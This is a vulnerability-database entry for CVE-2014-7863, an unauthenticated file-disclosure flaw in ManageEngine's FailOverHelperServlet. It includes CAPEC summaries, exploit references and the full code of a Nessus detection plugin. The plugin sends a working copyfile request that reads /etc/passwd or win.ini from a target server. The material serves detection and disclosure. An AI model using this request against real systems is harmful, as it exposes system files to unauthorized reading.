Vulnerabilities > CVE-2014-7863 - Information Exposure vulnerability in Zohocorp products

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
HIGH
Integrity impact
NONE
Availability impact
NONE
network
low complexity
zohocorp
CWE-200
nessus
exploit available
metasploit

Summary

The FailOverHelperServlet (aka FailServlet) servlet in ZOHO ManageEngine Applications Manager before 11.9 build 11912, OpManager 8 through 11.5 build 11400, and IT360 10.5 and earlier does not properly restrict access, which allows remote attackers and remote authenticated users to (1) read arbitrary files via the fileName parameter in a copyfile operation or (2) obtain sensitive information via a directory listing in a listdirectory operation to servlet/FailOverHelperServlet.

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Subverting Environment Variable Values
    The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
  • Footprinting
    An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Browser Fingerprinting
    An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
  • Session Credential Falsification through Prediction
    This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

Exploit-Db

descriptionManageEngine OpManager / Applications Manager / IT360 - 'FailOverServlet' Multiple Vulnerabilities. CVE-2014-7863,CVE-2014-7864. Webapps exploit for Multiple...
idEDB-ID:43894
last seen2018-01-25
modified2015-02-09
published2015-02-09
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/43894/
titleManageEngine OpManager / Applications Manager / IT360 - 'FailOverServlet' Multiple Vulnerabilities

Metasploit

Nessus

NASL familyCGI abuses
NASL idMANAGEENGINE_APPLICATIONS_MANAGER_11912_INFO_DISCLOSURE.NASL
descriptionThe version of ManageEngine Applications Manager running on remote web server is affected by a file disclosure vulnerability due to a failure to properly sanitize user-supplied input to the
last seen2020-06-01
modified2020-06-02
plugin id84017
published2015-06-08
reporterThis script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/84017
titleManageEngine Applications Manager FailOverHelperServlet 'fileName' Parameter Arbitrary File Disclosure
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(84017);
  script_version("1.9");
  script_cvs_date("Date: 2019/11/25");

  script_cve_id("CVE-2014-7863");
  script_bugtraq_id(74402);

  script_name(english:"ManageEngine Applications Manager FailOverHelperServlet 'fileName' Parameter Arbitrary File Disclosure");
  script_summary(english:"Attempts to read a local file.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server is running an application that is affected by an
information disclosure vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of ManageEngine Applications Manager running on remote
web server is affected by a file disclosure vulnerability due to a
failure to properly sanitize user-supplied input to the 'fileName'
parameter of the FailOverHelperServlet script. A remote,
unauthenticated attacker, using a crafted request, can exploit this to
view arbitrary files.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2015/Jan/114");
  script_set_attribute(attribute:"see_also", value:"https://www.manageengine.com/products/applications_manager/issues.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Applications Manager version 11 Build 11912.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:ND");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/01/28");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/01/28");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/06/08");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:manageengine:applications_manager");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("manageengine_applications_manager_detect.nasl");
  script_require_keys("installed_sw/ManageEngine Applications Manager");
  script_require_ports("Services/www", 9090);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

app = "ManageEngine Applications Manager";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:9090);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

# Establish a session first
res = http_send_recv3(
  method : "GET",
  port   : port,
  item   : dir,
  exit_on_fail : TRUE
);

dir = dir - "/index.do";
url = "/servlet/FailOverHelperServlet?operation=copyfile&fileName=";

# Determine what to look for.
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os)
    files = make_list('/windows/win.ini','/winnt/win.ini');
  else
    files = make_list('/etc/passwd');
}
else files = make_list('/etc/passwd', '/windows/win.ini', '/winnt/win.ini');

file_pats = make_array();
file_pats['/etc/passwd'] = "root:.*:0:[01]:";
file_pats['/winnt/win.ini'] = "^\[[a-zA-Z\s]+\]|^; for 16-bit app support";
file_pats['/windows/win.ini'] = "^\[[a-zA-Z\s]+\]|^; for 16-bit app support";

vuln = FALSE;

foreach file (files)
{
  res = http_send_recv3(
    method : "POST",
    port   : port,
    item   : dir + url + file,
    data   : '',
    exit_on_fail : TRUE
  );
  if (egrep(pattern:file_pats[file], string:res[2]))
  {
    vuln = TRUE;
    break;
  }
}
if (!vuln)
  audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);

security_report_v4(
  port        : port,
  severity    : SECURITY_WARNING,
  file        : file,
  request     : make_list(http_last_sent_request()),
  output      : chomp(res[2]),
  attach_type : 'text/plain'
);
exit(0);

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/130162/meopappmanager-downloaddisclosesql.txt
idPACKETSTORM:130162
last seen2016-12-05
published2015-01-29
reporterPedro Ribeiro
sourcehttps://packetstormsecurity.com/files/130162/ManageEngine-File-Download-Content-Disclosure-SQL-Injection.html
titleManageEngine File Download / Content Disclosure / SQL Injection